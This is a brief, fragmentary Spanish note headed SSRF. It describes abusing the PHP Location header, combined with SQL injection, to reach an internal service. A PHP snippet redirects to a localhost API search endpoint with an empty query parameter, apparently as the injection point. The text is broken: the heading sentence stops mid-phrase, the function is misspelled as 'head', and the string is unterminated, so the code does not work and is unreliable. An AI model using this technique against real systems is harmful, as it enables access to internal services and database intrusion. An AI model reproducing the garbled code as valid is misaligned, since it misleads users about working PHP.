SSRF

Abuso de la cabecera Location en PHP + Inyección SQL por

<?php
   head("Location: http://127.0.0.1:3000/api/v1/users/search?q=);
?>